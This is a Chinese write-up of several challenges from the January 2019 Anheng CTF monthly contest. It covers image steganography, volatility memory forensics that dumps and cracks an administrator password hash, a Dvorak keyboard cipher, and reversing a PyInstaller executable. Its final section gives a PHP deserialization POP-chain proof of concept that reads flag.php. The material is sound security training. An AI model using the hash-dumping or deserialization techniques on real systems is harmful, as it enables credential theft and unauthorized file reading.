CTF-安恒19年一月月赛部分writeup

CTF-安恒19年一月月赛部分writeup

MISC1-赢战2019

是一道图片隐写题

linux下可以正常打开图片,首先到binwalk分析一下。

里面有东西,foremost分离一下

有一张二维码,扫一下看看

好吧 不是flag,继续分析图片,在winhex没有发现异常,那么上神器StegSolve分析一下

第一次翻了一遍图层没发现,眼瞎第二次才看见

flag{You_ARE_SOsmart}

提交md5即可

MISC2-memory

内存取证

既然是内存取证直接上volatility

首先分析一下镜像信息

#volatility -f memory imageinfo

可以看到是32位镜像,所以配置使用--profile=WinXPSP2x86

题目要求找出管理员登陆密码,所以直接hashdump即可

c22b315c040ae6e0efee3518d830362b这一段便是admin的密码hash,到somd5解一下   https://www.somd5.com/

然后将123456789md5一下就可以了

flag{25f9e794323b453885f5181f1b624d0b}

CRYPTO1-键盘之争

题目提示 听说过键盘之争吗,好吧真没听说过,那就百度一下,然后了解到还有其他不同于市面上的普通键盘的键位排列

所以flag就是对着换一下字母即可 y对应Dvorak键盘的f  p对应Dvorak键盘的l ......然后一个一个换出来即可

flag{this_is_flag}

md5处理提交

flag{951c712ac2c3e57053c43d80c0a9e543}

REVERSE1-来玩蛇吧

题目给了一个exe文件和一个pyc文件,但是pyc文件反编译失败了,但是pyc肯定不是白给的,应该是某种提示,所以找了一番后,发现可以使用 pyinstxtractor.py脚本(下载地址:https://sourceforge.net/projects/pyinstallerextractor/)反编译题目给出的.exe文件

编译出不少东西,但是有用的只要AnhengRe文件

然后用winhex打开文件修复文件头增加头部

改后缀为.pyc,到https://tool.lu/pyc/反编译一下即可得到源码

#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
import os
n1 = input(‘Tell me your name?‘)
n2 = input(‘Tell me your pasw‘)
n11 = chr(ord(n1[0]) + 12)
s = ‘‘
st3 = ‘51e‘
st2 = ‘9f1ff1e8b5b91110‘
st1 = ‘c4e21c11a2412‘
st0 = ‘wrong‘
if n11 + ‘AnHeng‘ == n2:
    for i in range(0, 4):
        s += st1[3 - i]

    print(‘Congratulations‘)
    ts = st2[0] + st3 + st2[1] + s
    print(‘flag{‘ + st3[:1] + st1 + st2 + st3[-2:] + ‘}‘)
    os.system(‘pause‘)
else:
    print(‘no,‘ + st0)
import os
n1 = input(‘Tell me your name?‘)
n2 = input(‘Tell me your pasw‘)
n11 = chr(ord(n1[0]) + 12)
s = ‘‘
st3 = ‘51e‘
st2 = ‘9f1ff1e8b5b91110‘
st1 = ‘c4e21c11a2412‘
st0 = ‘wrong‘
if n11 + ‘AnHeng‘ == n2:
    for i in range(0, 4):
        s += st1[3 - i]

    print(‘Congratulations‘)
    ts = st2[0] + st3 + st2[1] + s
    print(‘flag{‘ + st3[:1] + st1 + st2 + st3[-2:] + ‘}‘)
    os.system(‘pause‘)
else:
    print(‘no,‘ + st0)

然后将多余代码全部删除

#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
import os

s = ‘‘
st3 = ‘51e‘
st2 = ‘9f1ff1e8b5b91110‘
st1 = ‘c4e21c11a2412‘
st0 = ‘wrong‘
print(‘Congratulations‘)
ts = st2[0] + st3 + st2[1] + s
print(‘flag{‘ + st3[:1] + st1 + st2 + st3[-2:] + ‘}‘)

运行即可得到flag

flag{5c4e21c11a24129f1ff1e8b5b911101e}

复现的web1

源码

<?php
@error_reporting(1);
#include ‘flag.php‘;
class baby
{
    protected $skyobj;
    public $aaa;
    public $bbb;
    function __construct()
    {
        $this->skyobj = new sec;
    }
    function __toString()
    {
        if (isset($this->skyobj))
            return $this->skyobj->read();
    }
}  

class cool
{
    public $filename;
    public $nice;
    public $amzing;
    function read()
    {
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "you must be joking!";
            }
        }
    }
}  

class sec
{
    function read()
    {
        return "it‘s so sec~~";
    }
}
if (isset($_GET[‘data‘]))
{
    $Input_data = unserialize($_GET[‘data‘]);
    echo $Input_data;
} 

?>

php 反序列化pop链构造

sec类中的read函数直接返回了一个字符串,但是cool类中的read函数执行了file_get_contents,baby虽然调用了sec类,但是通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

利用脚本构造poc,来调用cool类中定义的read函数

<?php
@error_reporting(1);
class baby
{
    protected $skyobj;
    public $aaa;
    public $bbb;
    function __construct()
    {
        $this->skyobj = new cool;
    }
    function __toString()
    {
        if (isset($this->skyobj))
            return $this->skyobj->read();
    }
}  

class cool
{
    public $filename = "flag.php";
    public $nice;
    public $amzing;
    function read()
    {
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "you must be joking!";
            }
        }
    }
}  

echo urlencode(serialize(new baby()));

?>

这里直接没有构造amazing,所以实例化的this->nice为空,后面的也就全都是空值,if条件里的判断也就绕过了

给data传参后,查看网页源代码,得到flag

原文地址:https://www.cnblogs.com/pureqh/p/10327122.html

时间: 2024-10-12 07:16:28

CTF-安恒19年一月月赛部分writeup的相关文章

zstu19一月月赛 duxing201606的原味鸡树

duxing201606的原味鸡树 题意: 给定一颗有n(n<=1e9)个节点的完全二叉树,1e5次询问,问某个节点有几个子节点. 思路: 自己在月赛上没有思路,问了zfq才知道. 设两个指标,L.R,因为是范围,所以每次L向左孩子一直下去,R向右孩子一直下去,每次下探答案就要加上2的i次,L-R间就是根节点所表示的范围.当n出了L,R区间,退出. #include <algorithm> #include <iterator> #include <iostream&g

2015年NEUACM一月月赛

A Money , money 时间限制: 1 Sec  内存限制: 128 MB 提交: 15  解决: 14 [提交][状态][讨论版] 题目描述 Small K seen recently stock market really too violent, so he want to choose some ways to earn money. At every month, he can use three ways to manage his money . For example ,

2015年NEUACM一月月赛 J: Eliminate zero AC

问题 J: Eliminate zero AC 时间限制: 1 Sec  内存限制: 128 MB 题目描述 Last night,Kid submitted a problem for many times but he got many WA,so he is sad.Out of sympathy, his coach gave him a very simple problem so that Kid can solve it quickly. The problem is to sel

2015年NEUACM一月月赛 C

问题 C: Sum?Sum! 时间限制: 1 Sec  内存限制: 128 MB提交: 653  解决: 176[提交][状态][讨论版] 题目描述 Kid want to learn math better.Now Kid know how to calculate the sum of 1 to n in a short time.But this time,he is given a much more difficult question——to calculate the sum of

2015年NEUACM一月月赛 J

问题 J: Eliminate zero AC 时间限制: 1 Sec  内存限制: 128 MB提交: 332  解决: 131[提交][状态][讨论版] 题目描述 Last night,Kid submitted a problem for many times but he got many WA,so he is sad.Out of sympathy, his coach gave him a very simple problem so that Kid can solve it q

2015年NEUACM一月月赛 B

问题 B: a Simple Problem 时间限制: 1 Sec  内存限制: 128 MB提交: 412  解决: 99[提交][状态][讨论版] 题目描述 Many people think hh is a diaosi, but hh is a very rich man whose nickname is wenzhoutuhao,and he made a lot of money by buying the stock of neusoft. He bought n diamon

dp FOJ 一月月赛C ytaaa

Accept: 57    Submit: 261 Time Limit: 2000 mSec    Memory Limit : 32768 KB  Problem Description Ytaaa作为一名特工执行了无数困难的任务,这一次ytaaa收到命令,需要炸毁敌人的一个工厂,为此ytaaa需要制造一批炸弹以供使用. Ytaaa使用的这种新型炸弹由若干个炸药组成,每个炸药都有它的威力值,而炸弹的威力值为组成这个炸弹的所有炸药的最大威力差的平方,即(max-min)^2,假设一个炸弹有5个

安恒杯2月月赛-应该不是xss

1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密码的时候不需要输入原密码,大概其是个csrf 4. 再查看app.js,是个修改密码的js,但是会先验证token,所以我们需要先得到token 获取token的方法原理:https://githubengineering.com/githubs-post-csp-journey/ 5. 利用: 6

P5200 [USACO19JAN]Sleepy Cow Sorting

题目背景 目前征集本题SPJ USACO 19年一月月赛金组第二题 题目描述 Farmer John正在尝试将他的N头奶牛(1≤N≤10^5),方便起见编号为1…N,在她们前往牧草地吃早餐之前排好顺序. 当前,这些奶牛以p1,p2,p3,…,pN的顺序排成一行,Farmer John站在奶牛p1前面.他想要重新排列这些奶牛,使得她们的顺序变为1,2,3,…,N,奶牛1在Farmer John旁边. 今天奶牛们有些困倦,所以任何时刻都只有直接面向Farmer John的奶牛会注意听Farmer J